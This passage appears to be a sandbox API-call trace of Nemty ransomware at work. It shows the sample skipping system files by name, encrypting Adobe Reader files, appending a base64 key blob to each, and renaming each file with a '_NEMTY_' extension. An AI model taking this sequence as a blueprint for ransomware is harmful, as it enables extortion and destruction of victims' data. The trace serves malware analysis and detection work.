[0193.506] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0193.506] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94330 [0193.506] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94288 | out: hHeap=0x4f90000) returned 1 [0193.506] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94288 [0193.506] Sleep (dwMilliseconds=0x5) [0193.516] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x26fdc590, dwHighDateTime=0x1d561e8)) [0193.516] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x26fdc590, dwHighDateTime=0x1d561e8)) [0193.516] GetLastError () returned 0x0 [0193.516] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0193.516] GetLastError () returned 0x0 [0193.516] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0193.516] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0193.516] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0193.516] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0193.516] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0193.517] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0193.517] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348d60 [0193.517] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6348d60, pcchString=0x653e91c | out: pszString="Jr/s6vYsGNULpwPQ3cc/7C1+tGD2dC9A958bcnrHtuZlT32973ZLMYwvv9hGA+ae\r\nukcqtyjk2tXdMh/YaxFkHHi+uQI+a8SCuVK5iS3ZpjCaa92cpISXZp1ZA3Xc+88C\r\nVUs18Qbr2ea8FNoOZh5ZZd97mcMmgoOl9l2s7EhM+pENWg8UTxuyIAAmpJibX8Va\r\n/0CBNpD1iQOS9U72NwBXBpk/+7iwZj7Z1NQ4aaAUf+oJ2IYhRnZgb2nFMlYiAWEf\r\ntcDoQnJo+0EFapMFIrG52EeWoQ1XD//gJYx0ndrWkDE6pmhOiz00tjmUKZr8wGNm\r\nu73Sp/Jy+8MgA4Zi3y18kg==\r\n", pcchString=0x653e91c) returned 1 [0193.517] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0193.517] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0193.517] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0193.517] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0193.517] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348d60 [0193.517] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0193.517] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\forms_received.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\forms_received.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0193.517] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=615) returned 1 [0193.517] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x260) returned 0x6340048 [0193.517] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0193.517] ReadFile (in: hFile=0x254, lpBuffer=0x6340048, nNumberOfBytesToRead=0x260, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesRead=0x653eb64*=0x260, lpOverlapped=0x0) returned 1 [0193.519] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0193.519] WriteFile (in: hFile=0x254, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x260, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653eb5c*=0x260, lpOverlapped=0x0) returned 1 [0193.519] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0193.519] SetFilePointer (in: hFile=0x254, lDistanceToMove=615, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x267 [0193.519] WriteFile (in: hFile=0x254, lpBuffer=0x6348d60*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6348d60*, lpNumberOfBytesWritten=0x653eb5c*=0x167, lpOverlapped=0x0) returned 1 [0193.519] CloseHandle (hObject=0x254) returned 1 [0193.519] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0193.519] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0193.519] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0193.519] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0193.519] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0193.519] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0193.519] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63400f0 [0193.519] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6340198 [0193.520] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0193.520] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0193.520] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\forms_received.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\forms_received.gif"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\forms_received.gif._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\forms_received.gif._nemty_kgobjgd_")) returned 1 [0193.520] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0193.520] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0193.520] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0193.520] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0193.520] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0193.520] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0193.520] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0193.520] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94288 | out: hHeap=0x4f90000) returned 1 [0193.520] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0193.520] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0193.520] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8026e440, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x228, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="forms_super.gif", cAlternateFileName="FORMS_~2.GIF")) returned 1 [0193.520] lstrcmpiW (lpString1="forms_super.gif", lpString2=".") returned 1 [0193.521] lstrcmpiW (lpString1="forms_super.gif", lpString2="..") returned 1 [0193.521] lstrcmpiW (lpString1="forms_super.gif", lpString2="...") returned 1 [0193.521] lstrcmpiW (lpString1="forms_super.gif", lpString2="windows") returned -1 [0193.521] lstrcmpiW (lpString1="forms_super.gif", lpString2="$RECYCLE.BIN") returned 1 [0193.521] lstrcmpiW (lpString1="forms_super.gif", lpString2="rsa") returned -1 [0193.521] lstrcmpiW (lpString1="forms_super.gif", lpString2="NTDETECT.COM") returned -1 [0193.521] lstrcmpiW (lpString1="forms_super.gif", lpString2="ntldr") returned -1 [0193.521] lstrcmpiW (lpString1="forms_super.gif", lpString2="MSDOS.SYS") returned -1 [0193.521] lstrcmpiW (lpString1="forms_super.gif", lpString2="IO.SYS") returned -1 [0193.521] lstrcmpiW (lpString1="forms_super.gif", lpString2="boot.ini") returned 1 [0193.521] lstrcmpiW (lpString1="forms_super.gif", lpString2="boot.ini") returned 1 [0193.521] lstrcmpiW (lpString1="forms_super.gif", lpString2="AUTOEXEC.BAT") returned 1 [0193.521] lstrcmpiW (lpString1="forms_super.gif", lpString2="ntuser.dat") returned -1 [0193.521] lstrcmpiW (lpString1="forms_super.gif", lpString2="desktop.ini") returned 1 [0193.521] lstrcmpiW (lpString1="forms_super.gif", lpString2="CONFIG.SYS") returned 1 [0193.521] lstrcmpiW (lpString1="forms_super.gif", lpString2="RECYCLER") returned -1 [0193.521] lstrcmpiW (lpString1="forms_super.gif", lpString2="BOOTSECT.BAK") returned 1 [0193.521] lstrcmpiW (lpString1="forms_super.gif", lpString2="bootmgr") returned 1 [0193.521] lstrcmpiW (lpString1="forms_super.gif", lpString2="programdata") returned -1 [0193.521] lstrcmpiW (lpString1="forms_super.gif", lpString2="appdata") returned 1 [0193.521] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0193.521] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="forms_super.gif", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0193.521] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="forms_super.gif", cchWideChar=15, lpMultiByteStr=0x653ebd0, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="forms_super.gif", lpUsedDefaultChar=0x0) returned 15 [0193.521] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0193.521] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="forms_super.gif", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0193.521] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="forms_super.gif", cchWideChar=15, lpMultiByteStr=0x653ebd0, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="forms_super.gif", lpUsedDefaultChar=0x0) returned 15 [0193.521] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0193.521] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0193.521] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0193.521] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="forms_super.gif", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0193.521] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="forms_super.gif", cchWideChar=15, lpMultiByteStr=0x653ec20, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="forms_super.gif", lpUsedDefaultChar=0x0) returned 15 [0193.521] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0193.521] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0193.522] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="forms_super.gif", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0193.522] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="forms_super.gif", cchWideChar=15, lpMultiByteStr=0x653ec58, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="forms_super.gif", lpUsedDefaultChar=0x0) returned 15 [0193.522] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0193.522] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0193.522] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94330 | out: hHeap=0x4f90000) returned 1 [0193.522] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0193.522] Sleep (dwMilliseconds=0x5) [0193.531] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x270026f0, dwHighDateTime=0x1d561e8)) [0193.531] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x270026f0, dwHighDateTime=0x1d561e8)) [0193.531] GetLastError () returned 0x0 [0193.531] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0193.531] GetLastError () returned 0x0 [0193.532] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0193.532] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0193.532] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0193.532] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0193.532] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0193.532] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0193.532] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348ed8 [0193.532] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6348ed8, pcchString=0x653e91c | out: pszString="Sh0RGo1OLhczRBZhemqBhwzefelNzYJsJSU80NSStIz4zuShfQvKYUs8KpUBDrZs\r\nJbwvfaKxICqeP7qhfta5DsWiVppjFN2ZXg3JJgGtYI0tSrHMiLEhb4JPBVQwR4Jk\r\nWipGRU9K7/kmaPeDnCDR1w0hfBWz7ASKL2G6v47BTFW8wNnrHATjuYTYkiyPeNrH\r\nFCYgWo0UXLTQCmetSHTa4jJxHlenfnH4hDqpohn3OC3VARtp6h+wiJNopvymqmbo\r\nOMjYF5uPsnwHF1GNyF3ygONrgJXuZwWYWcbKf6j5H0r3N6+TP70zBrsaEOOpq95i\r\nUfgdwn07cnWdj6g4kc7PNw==\r\n", pcchString=0x653e91c) returned 1 [0193.532] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0193.532] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0193.532] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0193.532] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0193.532] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348ed8 [0193.532] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0193.532] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\forms_super.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\forms_super.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0193.532] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=552) returned 1 [0193.533] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x220) returned 0x6340048 [0193.533] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0193.533] ReadFile (in: hFile=0x254, lpBuffer=0x6340048, nNumberOfBytesToRead=0x220, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesRead=0x653eb64*=0x220, lpOverlapped=0x0) returned 1 [0193.533] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0193.534] WriteFile (in: hFile=0x254, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x220, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653eb5c*=0x220, lpOverlapped=0x0) returned 1 [0193.534] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0193.534] SetFilePointer (in: hFile=0x254, lDistanceToMove=552, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x228 [0193.534] WriteFile (in: hFile=0x254, lpBuffer=0x6348ed8*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6348ed8*, lpNumberOfBytesWritten=0x653eb5c*=0x167, lpOverlapped=0x0) returned 1 [0193.534] CloseHandle (hObject=0x254) returned 1 [0193.534] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0193.534] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0193.534] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0193.534] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0193.534] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0193.534] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0193.534] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94288 [0193.534] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x4f94330 [0193.534] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94288 | out: hHeap=0x4f90000) returned 1 [0193.534] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0193.534] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\forms_super.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\forms_super.gif"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\forms_super.gif._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\forms_super.gif._nemty_kgobjgd_")) returned 1 [0193.535] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94330 | out: hHeap=0x4f90000) returned 1 [0193.535] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0193.535] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0193.535] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0193.535] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0193.535] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0193.535] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0193.535] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0193.535] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80222180, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3c9, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="form_responses.gif", cAlternateFileName="FORM_R~1.GIF")) returned 1 [0193.535] lstrcmpiW (lpString1="form_responses.gif", lpString2=".") returned 1 [0193.535] lstrcmpiW (lpString1="form_responses.gif", lpString2="..") returned 1 [0193.535] lstrcmpiW (lpString1="form_responses.gif", lpString2="...") returned 1 [0193.535] lstrcmpiW (lpString1="form_responses.gif", lpString2="windows") returned -1 [0193.535] lstrcmpiW (lpString1="form_responses.gif", lpString2="$RECYCLE.BIN") returned 1 [0193.535] lstrcmpiW (lpString1="form_responses.gif", lpString2="rsa") returned -1 [0193.535] lstrcmpiW (lpString1="form_responses.gif", lpString2="NTDETECT.COM") returned -1 [0193.535] lstrcmpiW (lpString1="form_responses.gif", lpString2="ntldr") returned -1 [0193.535] lstrcmpiW (lpString1="form_responses.gif", lpString2="MSDOS.SYS") returned -1 [0193.535] lstrcmpiW (lpString1="form_responses.gif", lpString2="IO.SYS") returned -1 [0193.535] lstrcmpiW (lpString1="form_responses.gif", lpString2="boot.ini") returned 1 [0193.535] lstrcmpiW (lpString1="form_responses.gif", lpString2="boot.ini") returned 1 [0193.536] lstrcmpiW (lpString1="form_responses.gif", lpString2="AUTOEXEC.BAT") returned 1 [0193.536] lstrcmpiW (lpString1="form_responses.gif", lpString2="ntuser.dat") returned -1 [0193.536] lstrcmpiW (lpString1="form_responses.gif", lpString2="desktop.ini") returned 1 [0193.536] lstrcmpiW (lpString1="form_responses.gif", lpString2="CONFIG.SYS") returned 1 [0193.536] lstrcmpiW (lpString1="form_responses.gif", lpString2="RECYCLER") returned -1 [0193.536] lstrcmpiW (lpString1="form_responses.gif", lpString2="BOOTSECT.BAK") returned 1 [0193.536] lstrcmpiW (lpString1="form_responses.gif", lpString2="bootmgr") returned 1 [0193.536] lstrcmpiW (lpString1="form_responses.gif", lpString2="programdata") returned -1 [0193.536] lstrcmpiW (lpString1="form_responses.gif", lpString2="appdata") returned 1 [0193.536] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0193.536] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="form_responses.gif", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0193.536] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0193.536] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="form_responses.gif", cchWideChar=18, lpMultiByteStr=0x4f9ecb8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="form_responses.gif", lpUsedDefaultChar=0x0) returned 18 [0193.536] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0193.536] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0193.536] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="form_responses.gif", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0193.536] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0193.536] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="form_responses.gif", cchWideChar=18, lpMultiByteStr=0x4f9ecb8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="form_responses.gif", lpUsedDefaultChar=0x0) returned 18 [0193.536] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0193.536] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0193.536] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0193.536] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0193.536] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="form_responses.gif", 